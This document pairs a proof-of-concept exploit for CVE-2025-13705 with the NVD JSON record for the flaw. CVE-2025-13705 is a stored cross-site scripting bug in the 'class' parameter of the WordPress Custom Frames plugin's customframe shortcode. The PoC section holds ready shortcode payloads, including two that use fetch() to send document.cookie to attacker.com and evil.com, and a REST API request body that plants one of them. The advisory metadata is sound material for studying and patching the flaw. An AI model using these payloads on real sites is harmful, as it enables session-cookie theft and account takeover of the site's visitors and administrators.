CVE-2025-13705

<!-- CVE-2025-13705 PoC: Stored XSS via customframe shortcode --> <!-- Attacker with Contributor+ role can inject malicious JavaScript --> [customframe class='" onmouseover="alert(document.cookie)" x="'] <!-- Alternative PoC with img tag injection --> [customframe class='x' onload='alert(String.fromCharCode(88,83,83))'] <!-- More sophisticated payload --> [customframe class='"><script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] <!-- WordPress REST API exploitation --> <!-- POST /wp-json/wp/v2/pages/{id} --> <!-- Body: {"content": "[customframe class=\"\" onload=\"fetch('https://evil.com?c='+document.cookie)\"]\"}" -->

{"cve": {"id": "CVE-2025-13705", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:47.593", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Custom Frames plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class' parameter of the 'customframe' shortcode in all versions up to, and including, 1.0.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/custom-frames/tags/1.0.1/class.customframes.php#L65", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/custom-frames/trunk/class.customframes.php#L65", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/56f3aa7a-a6f2-42c7-b855-b083fe58f466?source=cve", "source": "[email protected]"}]}}